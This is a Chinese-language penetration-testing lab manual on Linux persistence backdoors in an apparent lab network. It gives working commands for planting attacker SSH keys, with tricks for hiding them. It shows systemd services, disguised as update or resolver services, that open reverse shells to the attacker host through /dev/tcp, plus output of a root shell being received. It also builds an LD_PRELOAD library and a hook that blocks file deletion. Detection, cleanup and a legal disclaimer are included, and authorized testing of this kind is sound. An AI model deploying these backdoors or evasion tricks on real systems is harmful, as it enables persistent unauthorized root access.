先看懂:SSH 密钥认证的正常流程(后门的 “基础”)
SSH 密钥认证基于非对称加密(RSA/ECDSA/Ed25519),核心是 “私钥签名、公钥验证”,私钥永不网络传输:
客户端生成密钥对:私钥(id_rsa)本地保密,公钥(id_rsa.pub)上传到服务器~/.ssh/authorized_keys。
登录时:服务器发随机挑战 → 客户端用私钥签名 → 服务器用公钥验签 → 验签通过则免密登录。
信任一旦建立,无需密码、无需二次验证,且默认密钥永久有效、无过期。
SSH 密钥后门有效的 5 大核心原因
1. 非对称加密的 “单向性”:公钥无法反推私钥(后门的 “安全基础”)
数学上,由公钥推导私钥是计算不可行(大整数分解 / 离散对数难题)。
只要攻击者持有合法私钥,就能通过服务器公钥验证,伪装成授权用户,且无法被公钥本身 “识破”。
2. 密钥认证的 “免密 + 长期有效”:后门的 “持久化能力”
免密:无需输入密码,一次植入、长期可用,规避暴力破解、键盘监听风险。
永久有效:默认 SSH 密钥无过期时间,只要不被手动删除,几年前的密钥仍能登录。
跨机器扩散:攻击者拿到一台服务器的私钥,可登录所有信任该公钥的机器,快速横向渗透。
3. 密钥管理的 “普遍盲区”:后门的 “隐蔽温床”
密钥泛滥:企业服务器数量远少于密钥数,大量公钥散落在 authorized_keys,无归属、无审计、难追溯。
吊销困难:删除旧密钥需逐台服务器修改 authorized_keys,极易漏删,留下永久后门。
私钥泄露:私钥常被存于~/.ssh、代码仓库、备份、云盘,一旦泄露即被滥用。
疏于检查:管理员很少逐行审计 authorized_keys,后门公钥 / 恶意公钥极易混入。
4. 后门技术的 “巧妙伪装”:让后门 “看起来正常”
公钥植入:攻击者将自己的公钥写入目标 authorized_keys,持有私钥即可免密登录,这是最基础的密钥后门。
command 选项劫持:在公钥前加
command="恶意命令",登录时自动执行(如反弹 shell、留持久后门),公钥本身看似正常。sshd 代码注入(如 XZ Utils 后门):修改 sshd 源码 / 依赖库,在认证前劫持流程,用特定私钥即可绕过所有验证,直接获取权限。
软链接 / 端口复用:将 sshd 软链接到其他路径,用非标准端口启动,绕过常规监控。
5. 权限与信任的 “放大效应”:后门的 “破坏力”
密钥常对应 root / 管理员权限,后门成功即获得系统最高控制权。
服务器间的密钥互信(如批量运维)让攻击者能从一台机器快速攻陷整个集群。
私钥泄露后,攻击者可永久冒充合法用户,日志仅记录 “合法登录”,难以溯源。
实验步骤
场景:你已经通过某种方式获得了 websrv 机器上 yxwa 用户的 Shell 访问权限(密码或其他漏洞)
# === 攻击者端 (Kali: 10.10.1.79) ===
# 1. 生成 SSH 密钥对(如果还没有)
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa -N ""
# 输出:
# Generating public/private rsa key pair.
# Your identification has been saved in /home/kali/.ssh/id_rsa
# Your public key has been saved in /home/kali/.ssh/id_rsa.pub
# 2. 查看公钥内容
cat ~/.ssh/id_rsa.pub
# 输出类似:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ... kali@kali# === 目标端 (WebSrv: 10.10.1.81) ===
# 假设你已经以 yxwa 身份登录
# 3. 创建 .ssh 目录(如果不存在)
mkdir -p ~/.ssh
chmod 700 ~/.ssh
# 4. 将攻击者的公钥添加到 authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQ..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# 或者使用一行命令(从攻击者端执行,需要知道密码)
ssh yxwa@10.10.1.81 "mkdir -p ~/.ssh && chmod 700 ~/.ssh && echo 'ssh-rsa AAAAB3...' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"# === 攻击者端验证 ===
# 5. 测试免密登录(不需要输入密码!)
ssh -i ~/.ssh/id_rsa yxwa@10.10.1.81
# 预期输出:
# yxwa@websrv:~$
# 6. 验证身份
whoami
id
# 输出:
# yxwa
# uid=1000(yxwa) gid=1000(yxwa) groups=1000(yxwa),4(adm),24(cdrom),27(sudo)...
# 7. 即使 yxwa 修改密码,你仍然可以通过密钥登录!验证结果
# 从 Kali (10.10.1.79) 免密登录到 WebSrv (10.10.1.81):
SSH_KEY_BACKDOOR_SUCCESS
websrv
yxwa
uid=1000(yxwa) gid=1000(yxwa) groups=1000(yxwa),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
隐藏技巧
# 1. 修改 authorized_keys 的时间戳,使其看起来很旧
touch -t 202301010000 ~/.ssh/authorized_keys
# 2. 将公钥伪装成注释(某些管理员可能不仔细看)
# 在公钥前加上看起来像注释的内容
echo "# backup key for emergency access" >> ~/.ssh/authorized_keys
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
# 3. 使用不常见的密钥类型
# 攻击者生成 ed25519 密钥(更短,更不显眼)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""检测方法
# 1. 检查 authorized_keys 文件
cat ~/.ssh/authorized_keys
ls -la ~/.ssh/
# 2. 检查最近的 SSH 登录
last | head -20
lastlog
# 3. 检查 SSH 日志
grep "Accepted publickey" /var/log/auth.log清除方法
# 删除可疑的公钥
vim ~/.ssh/authorized_keys
# 或者直接清空
> ~/.ssh/authorized_keys6.Systemd 服务后门
核心是它寄生在 Linux 系统最底层、开机必跑、权限最高、管理最集中,且极易伪装、极难排查。
为什么 Systemd 后门有效?
简单明了 5 大核心原因
开机必启、权限拉满
Systemd 是系统第一个启动的进程(PID=1),开机自动跑、全程 root 权限。后门只要做成 systemd 服务,重启也不会丢,直接拿到系统最高控制权。
服务机制天生适合持久化
用
.service文件就能注册后门,配置Restart=always可让后门崩溃自动重启,几乎杀不死。systemctl enable一设,永久开机自启。Linux 标配、无处不在
主流发行版(CentOS、Ubuntu、Debian 等)全用 systemd,几乎所有服务器都有,后门通用性极强。
极易伪装、肉眼难查
文件名伪装:叫
networkd.service、update.service,像正常服务。隐藏文件:用
.开头(如.mal.service),ls默认不显示。日志少、监控弱:管理员很少逐行审计
/etc/systemd/system/下的所有文件。
深度劫持、难以清理
高级后门可替换 systemd 二进制、注入依赖库、劫持系统调用,甚至和内核联动,普通查杀工具查不到、删不掉。
一句话总结:
Systemd 后门 = 开机必跑 + root 权限 + 永久不死 + 伪装极强 + 全 Linux 通用
实验步骤(需要 root 权限)
# === 攻击者端 (Kali: 10.10.1.79) ===
# 1. 启动监听器
nc -lvnp 4446# === 目标端 (WebSrv: 10.10.1.81) ===
# 使用 sudo 执行(yxwa 用户已配置免密 sudo)
# 2. 创建 Systemd 服务文件(直接使用 ExecStart 执行反弹 shell)
sudo tee /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.1.79/4446 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
# 3. 重新加载 Systemd 配置
sudo systemctl daemon-reload
# 4. 启用并启动服务
sudo systemctl enable system-update.service
sudo systemctl start system-update.service
# 5. 检查服务状态
systemctl status system-update.service验证结果
# WebSrv 上服务状态:
● system-update.service - System Update Service
Loaded: loaded (/etc/systemd/system/system-update.service; enabled)
Active: active (running) since Sat 2025-12-27 16:39:07 UTC
Main PID: 1881 (bash)
CGroup: /system.slice/system-update.service
├─1881 /bin/bash -c "bash -i >& /dev/tcp/10.10.1.79/4446 0>&1"
└─1882 bash -i
# Kali 监听端收到 ROOT 权限的反弹连接:
listening on [any] 4446 ...
connect to [10.10.1.79] from (UNKNOWN) [10.10.1.81] 55616
bash: cannot set terminal process group (1881): Inappropriate ioctl for device
bash: no job control in this shell
root@websrv:/# <-- 注意:这是 ROOT 权限!⚠️ 重要发现:Systemd 服务默认以 root 身份运行,因此反弹的 shell 具有 root 权限!
清理 Systemd 后门
sudo systemctl stop system-update.service
sudo systemctl disable system-update.service
sudo rm /etc/systemd/system/system-update.service
sudo systemctl daemon-reload更隐蔽的 Systemd 后门
清理 Systemd 后门
sudo systemctl stop system-update.service
sudo systemctl disable system-update.service
sudo rm /etc/systemd/system/system-update.service
sudo systemctl daemon-reload
更隐蔽的 Systemd 后门
# 方法1:伪装成合法服务名
cat > /etc/systemd/system/dbus-org.freedesktop.resolve1.service << 'EOF'
[Unit]
Description=Network Name Resolution
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/.resolver
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
# 方法2:使用 Timer 定时触发(更隐蔽)
# 创建服务
cat > /etc/systemd/system/apt-daily-check.service << 'EOF'
[Unit]
Description=Daily apt check
[Service]
Type=oneshot
ExecStart=/usr/local/bin/.apt-check
EOF
# 创建定时器
cat > /etc/systemd/system/apt-daily-check.timer << 'EOF'
[Unit]
Description=Daily apt check timer
[Timer]
OnCalendar=*:0/30
Persistent=true
[Install]
WantedBy=timers.target
EOF
systemctl enable apt-daily-check.timer
systemctl start apt-daily-check.timer用户级 Systemd 服务(不需要 root)
# === 以普通用户身份 (yxwa) ===
# 1. 创建用户级服务目录
mkdir -p ~/.config/systemd/user
# 2. 创建服务文件
cat > ~/.config/systemd/user/user-backup.service << 'EOF'
[Unit]
Description=User Backup Service
[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/10.10.1.79/4444 0>&1; sleep 60; done'
Restart=always
[Install]
WantedBy=default.target
EOF
# 3. 启用服务
systemctl --user daemon-reload
systemctl --user enable user-backup.service
systemctl --user start user-backup.service检测方法
# 1. 列出所有服务
systemctl list-units --type=service --all
# 2. 检查可疑服务
systemctl list-unit-files | grep enabled
ls -la /etc/systemd/system/
ls -la /lib/systemd/system/
# 3. 检查服务内容
systemctl cat system-health.service
# 4. 检查运行中的可疑进程
ps aux | grep -E "bash.*tcp|nc.*-e"
# 5. 检查网络连接
netstat -antp | grep ESTABLISHED
ss -antp清除方法
# 停止并禁用服务
systemctl stop system-health.service
systemctl disable system-health.service
# 删除服务文件
rm /etc/systemd/system/system-health.service
rm /usr/local/bin/system-health-check
# 重新加载配置
systemctl daemon-reload7.LD_PRELOAD 后门
利用 Linux 的动态链接机制,在程序启动时预加载恶意共享库,劫持系统函数。
为什么 LD_PRELOAD 后门有效?
能劫持所有程序的库函数
它可以优先加载自己的恶意库,把系统常用函数(如
read、write、open、connect)偷偷替换掉。不用改程序、不用改内核
不需要替换二进制、不需要动内核,只改一个环境变量就能生效,门槛极低。
对用户和工具完全透明
ps、netstat、ls、sshd、bash 全都照常运行,你看到的结果可能是假的,后门完全隐身。
权限高、作用全局
一旦加到全局配置(如
/etc/ld.so.preload),所有进程都会被感染,包括 root 进程。极难排查
它能隐藏文件、隐藏端口、隐藏进程、隐藏自己,连杀毒和排查工具都能骗。
一句话终极总结
LD_PRELOAD 后门 = 全局劫持 + 函数替换 + 隐身无敌 + 不用改程序 + 难查杀
实验步骤(需要 root 权限)
# === 目标端 (WebSrv: 10.10.1.81) ===
# 使用 sudo 执行
# 1. 创建恶意共享库源码
sudo tee /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// 构造函数,在库加载时自动执行
__attribute__((constructor)) void init() {
// 记录到日志文件
FILE *f = fopen("/tmp/.ld_preload_log", "a");
if (f) {
fprintf(f, "LD_PRELOAD triggered! PID=%d, UID=%d\\n", getpid(), getuid());
fclose(f);
}
// 如果是 root 运行,可以执行更多操作
if (getuid() == 0) {
FILE *f2 = fopen("/tmp/.ld_preload_log", "a");
if (f2) {
fprintf(f2, "Running as ROOT!\\n");
fclose(f2);
}
}
}
EOF
# 2. 编译共享库
sudo gcc -shared -fPIC -o /tmp/.evil.so /tmp/evil.c
# 3. 设置全局 LD_PRELOAD(所有程序都会加载)
echo "/tmp/.evil.so" | sudo tee /etc/ld.so.preload
# 查看配置
cat /etc/ld.so.preload
ls -la /tmp/.evil.so
代码逐行解析:
为什么使用 __attribute__((constructor))?
普通函数需要被程序显式调用才会执行
构造函数在库加载时自动执行,无需程序调用
这意味着任何程序只要加载了这个库,恶意代码就会运行
验证结果
# 执行任意命令后,查看日志:
$ ls /tmp
$ cat /tmp/.ld_preload_log
# 输出(每次执行命令都会触发):
LD_PRELOAD triggered! PID=3245, UID=0
Running as ROOT!
LD_PRELOAD triggered! PID=3246, UID=0
Running as ROOT!
LD_PRELOAD triggered! PID=3248, UID=0
Running as ROOT!
...
⚠️ 关键发现:每次执行任何命令(ls、cat、ps 等)时,恶意库都会被加载并执行!这是非常强大且隐蔽的后门技术。
清理 LD_PRELOAD 后门
sudo rm /etc/ld.so.preload
sudo rm /tmp/.evil.so
sudo rm /tmp/evil.c
sudo rm /tmp/.ld_preload_log更隐蔽的版本
# 只在特定程序中激活后门
cat > /tmp/evil2.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((constructor))
void init() {
// 只在 sudo 程序中激活
char *prog = getenv("_");
if (prog && strstr(prog, "sudo")) {
// 如果用户输入特定密码,给 root shell
// 这里只是演示概念
}
}
EOF#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
#include <errno.h>
typedef int (*orig_unlinkat_type)(int dirfd, const char *pathname, int flags);
int unlinkat(int dirfd, const char *pathname, int flags) {
if (pathname && strstr(pathname, "hacker.txt")) {
printf("[ROOTKIT] 嘿嘿,想删我?没门!(Protected: %s)\\n", pathname);
errno = EACCES;
return -1;
}
orig_unlinkat_type orig_func = (orig_unlinkat_type)dlsym(RTLD_NEXT, "unlinkat");
return orig_func(dirfd, pathname, flags);
}检测方法
# 1. 检查 /etc/ld.so.preload
cat /etc/ld.so.preload
ls -la /etc/ld.so.preload
# 2. 检查 LD_PRELOAD 环境变量
echo $LD_PRELOAD
env | grep LD_PRELOAD
# 3. 检查可疑的共享库
find /lib* /usr/lib* -name "*.so" -mtime -7 2>/dev/null
# 4. 使用 ldd 检查程序加载的库
ldd /bin/ls
# 5. 使用 strace 检查程序行为
strace -f /bin/ls 2>&1 | grep -E "open|preload"清除方法
# 删除预加载配置
rm /etc/ld.so.preload
# 或者清空
> /etc/ld.so.preload
# 删除恶意共享库
rm /lib/x86_64-linux-gnu/libsystem.so
# 刷新动态链接器缓存
ldconfig法律声明
警告:本实验手册中的技术仅供安全研究和授权测试使用。未经授权在他人系统上使用这些技术属于违法行为,可能导致严重的法律后果。
请确保:
仅在自有系统或获得明确书面授权的系统上进行测试
了解并遵守所在地区的法律法规
负责任地使用所学知识,遵守职业道德规范